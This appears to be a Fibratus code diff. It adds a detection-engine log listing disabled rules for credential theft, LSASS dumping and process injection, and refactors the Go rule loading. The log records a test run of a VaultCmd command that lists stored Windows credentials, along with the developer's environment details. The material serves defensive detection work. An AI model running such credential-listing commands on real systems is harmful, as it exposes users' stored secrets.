+time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS memory dump via Windows Error Reporting] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS memory dumping via legitimate or offensive tools] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[LSASS process clone creation via reflection] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential SAM hive dumping] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Remote thread creation into LSASS] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to Active Directory domain database] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to Unattended Panther files] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to Windows DPAPI Master Keys] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to Windows Credential Manager files] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to Windows Vault files] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious security package DLL loaded] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Vault client DLL load] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unusual access to SSH keys] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unusual access to Web Browser Credential stores] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unusual access to Windows Credential history files] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[AppDomain Manager injection via CLR search order hijacking] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Clear Eventlog] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[DLL loaded via APC queue] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[DLL loaded via a callback function] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[DLL loaded via LdrpKernel32 overwrite] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[DLL Side-Loading via a copied binary] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[DLL Side-Loading via Microsoft Office dropped file] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[.NET assembly loaded by unmanaged process] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Hidden registry key creation] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Image load via NTFS transaction] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential injection via .NET debugging] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential process creation via shellcode] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential Process Doppelganging] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential Process Hollowing] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential process injection via tainted memory section] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential shellcode execution via ETW logger thread] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential thread execution hijacking] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Process execution from a self-deleting binary] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Process spawned via remote thread] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Regsvr32 scriptlet execution] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious access to the hosts file] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious DLL loaded via memory section mapping] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious HTML Application script execution] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious object symbolic link creation] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Windows Defender exclusions registry modification] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious XSL script execution] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[System Binary Proxy Execution via Rundll32] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Thread context set from unbacked memory] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unsigned DLL injection via remote thread] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Windows Defender driver unloading] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Windows Defender protection tampering via registry] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Executable file creation from a macro-enabled Microsoft Office document] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Execution via Microsoft Office process] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Macro execution via script interpreter] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Microsoft Office file execution via script interpreter] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Microsoft Office file execution via WMI] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential ClickFix infection chain via Run window] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Process spawned from macro-enabled Microsoft Office document] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious DLL loaded by Microsoft Office process] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious execution via WMI from a Microsoft Office process] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Microsoft Office embedded object] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Executable file dropped by an unsigned service DLL] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Hidden local account creation] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Network connection via startup folder executable or script] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential port monitor or print processor persistence via registry modification] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[RID Hijacking] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Script interpreter host or untrusted process persistence] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Microsoft Office add-in loaded] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Microsoft Office template] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Netsh Helper DLL execution] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious persistence via registry modification] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious port monitor loaded] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious print processor loaded] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Suspicious Startup shell folder modification] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unusual file written in Startup folder] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Unusual process modified registry run key] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Potential privilege escalation via phantom DLL hijacking] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Vulnerable or malicious driver dropped] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:40+01:00 level=warning msg=[Vulnerable or malicious driver loaded] rule is disabled source=rules/compiler.go:75 +time=2025-12-15T18:25:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-12-15T18:25:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-12-15T18:26:06+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-12-15T18:26:07+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-12-15T18:28:24+01:00 level=info msg=bootstrapping with pid 15008. Version: dev source=bootstrap/bootstrap.go:172 +time=2025-12-15T18:28:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html to=>[] enabled=>false port=>25] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true min-buffers=>16 stack-enrichment=>true enable-vamap=>true enable-registry=>true buffer-size=>512 enable-image=>true enable-threadpool=>false enable-dns=>false enable-thread=>true enable-fileio=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-audit-api=>true enable-handle=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-size=>100 formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ timeout=>5s bulk-workers=>1 healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] trace-log=>false flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s sniff=>false healthcheck=>true template-name=>fibratus enabled=>false gzip-compression=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false enabled=>false method=>POST timeout=>5s serializer=>json endpoints=>[] tls-insecure-skip-verify=>false] amqp=>[ url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus exchange-type=>topic passive=>false exchange=>fibratus tls-insecure-skip-verify=>false durable=>false timeout=>5s enabled=>false delivery-mode=>transient]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ enabled=>false scan-timeout=>10s fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false skip-mmaps=>false skip-registry=>false excluded-procs=>[] skip-allocs=>false excluded-files=>[]] source=bootstrap/bootstrap.go:173 +time=2025-12-15T18:28:24+01:00 level=info msg=connecting to the server... source=bootstrap/bootstrap.go:178 +time=2025-12-15T18:28:24+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:217 +time=2025-12-15T18:28:25+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:271 +time=2025-12-15T18:28:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:271 +time=2025-12-15T18:29:31+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 120261 + Pid: 18920 + Tid: 13280 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-15 18:29:13.3762783 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all, directory_table_base➜ 3d1b14000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\VaultCmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff820452b44080, name➜ VaultCmd.exe, pid➜ 9756, ppid➜ 18920, real_ppid➜ 18920, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-15 18:29:13.3762783 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1765819787736016668, rule.name: Credential discovery via VaultCmd tool + + Pid: 18920 + Ppid: 17324 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:d81301b4-c7bd-4cf2-b276-9ff304189941 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:38 +time=2025-12-15T18:29:31+01:00 level=info msg=sending alert: [Suspicious Vault client DLL load]. Text: Event(s): + Seq: 120261 + Pid: 18920 + Tid: 13280 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-15 18:29:13.3762783 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all, directory_table_base➜ 3d1b14000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\VaultCmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff820452b44080, name➜ VaultCmd.exe, pid➜ 9756, ppid➜ 18920, real_ppid➜ 18920, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-15 18:29:13.3762783 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1765819787736016668, rule.name: Suspicious Vault client DLL load + + Pid: 18920 + Ppid: 17324 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:d81301b4-c7bd-4cf2-b276-9ff304189941 _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + + Seq: 120534 + Pid: 9756 + Tid: 10744 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-15 18:29:13.3984362 +0100 CET + Params: base_address➜ 7fff59ee0000, checksum➜ 336202, default_address➜ 7fff59ee0000, file_path➜ C:\Windows\System32\vaultcli.dll, image_size➜ 323584, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 9756, signature_level➜ AUTHENTICODE, signature_type➜ CATALOG_CACHED + Metadata: rule.seq.link: 1765819787736016668, rule.name: Suspicious Vault client DLL load + + Pid: 9756 + Ppid: 18920 + Name: VaultCmd.exe + Parent name: powershell.exe + Cmdline: "C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\WINDOWS\system32\VaultCmd.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\WINDOWS\system32\VaultCmd.exe" "/listcreds:Windows Credentials" /all] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:38 +time=2025-12-15T18:30:01+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:42 +time=2025-12-15T18:30:01+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:287 +time=2025-12-15T18:30:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:287 diff --git a/cmd/fibratus/app/rules/create.go b/cmd/fibratus/app/rules/create.go index c21dc3bbc..5189838df 100644 --- a/cmd/fibratus/app/rules/create.go +++ b/cmd/fibratus/app/rules/create.go @@ -20,13 +20,14 @@ package rules import ( "fmt" - "github.com/enescakir/emoji" - "github.com/google/uuid" - "github.com/rabbitstack/fibratus/pkg/config" - "github.com/rabbitstack/fibratus/pkg/util/version" "os" "strings" "text/template" + + "github.com/enescakir/emoji" + "github.com/google/uuid" + "github.com/rabbitstack/fibratus/pkg/ruleset" + "github.com/rabbitstack/fibratus/pkg/util/version" ) var ruleTemplate = `name: {{ .Name }} @@ -64,10 +65,10 @@ var tactics = map[string]string{ func createRule(name string) error { data := struct { - *config.FilterConfig + *ruleset.Rule MinEngineVersion string }{ - &config.FilterConfig{ + &ruleset.Rule{ Name: name, ID: uuid.New().String(), Version: "1.0.0", diff --git a/cmd/fibratus/app/rules/list.go b/cmd/fibratus/app/rules/list.go index 666af4f6d..71933be3a 100644 --- a/cmd/fibratus/app/rules/list.go +++ b/cmd/fibratus/app/rules/list.go @@ -19,23 +19,31 @@ package rules import ( + "context" "fmt" + "os" + "strings" + "github.com/enescakir/emoji" "github.com/jedib0t/go-pretty/v6/table" "github.com/rabbitstack/fibratus/internal/bootstrap" - "os" - "strings" + "github.com/rabbitstack/fibratus/pkg/rules" ) func listRules() error { if err := bootstrap.InitConfigAndLogger(cfg); err != nil { return err } - if err := cfg.Filters.LoadFilters(); err != nil { + loader := rules.NewLoader() + rs, err := loader.Load( + context.Background(), + rules.WithRulePaths(cfg.Filters.Rules.FromPaths...), + rules.WithMacroPaths(cfg.Filters.Macros.FromPaths...), + ) + if err != nil { return fmt.Errorf("%v %v", emoji.DisappointedFace, err) } - filters := cfg.GetFilters() - if len(filters) == 0 { + if rs.IsEmpty() { return fmt.Errorf("%v no rules found in %s", emoji.DisappointedFace, strings.Join(cfg.Filters.Rules.FromPaths, ",")) } @@ -52,9 +60,9 @@ func listRules() error { }) tactics := make(map[string]int) techniques := make(map[string]int) - for _, f := range filters { - tactics[f.Labels["tactic.name"]]++ - techniques[f.Labels["technique.name"]]++ + for _, rule := range rs.Rules { + tactics[rule.Labels["tactic.name"]]++ + techniques[rule.Labels["technique.name"]]++ } tot := 0 for tac, n := range tactics { @@ -85,16 +93,16 @@ func listRules() error { tactics := make(map[string]int) techniques := make(map[string]int) - for _, f := range filters { - tac := f.Labels["tactic.name"] - tec := f.Labels["technique.name"] + for _, rule := range rs.Rules { + tac := rule.Labels["tactic.name"] + tec := rule.Labels["technique.name"] if _, ok := tactics[tac]; !ok { tactics[tac] = 1 } if _, ok := tactics[tec]; !ok { techniques[tec] = 1 } - t.AppendRow(table.Row{n + 1, f.Name, tec, tac}) + t.AppendRow(table.Row{n + 1, rule.Name, tec, tac}) n++ } diff --git a/cmd/fibratus/app/rules/validate.go b/cmd/fibratus/app/rules/validate.go index 9ab621d04..158a45d80 100644 --- a/cmd/fibratus/app/rules/validate.go +++ b/cmd/fibratus/app/rules/validate.go @@ -19,14 +19,15 @@ package rules import ( + "context" "fmt" + "strings" + "github.com/enescakir/emoji" "github.com/rabbitstack/fibratus/internal/bootstrap" "github.com/rabbitstack/fibratus/pkg/filter" "github.com/rabbitstack/fibratus/pkg/filter/fields" 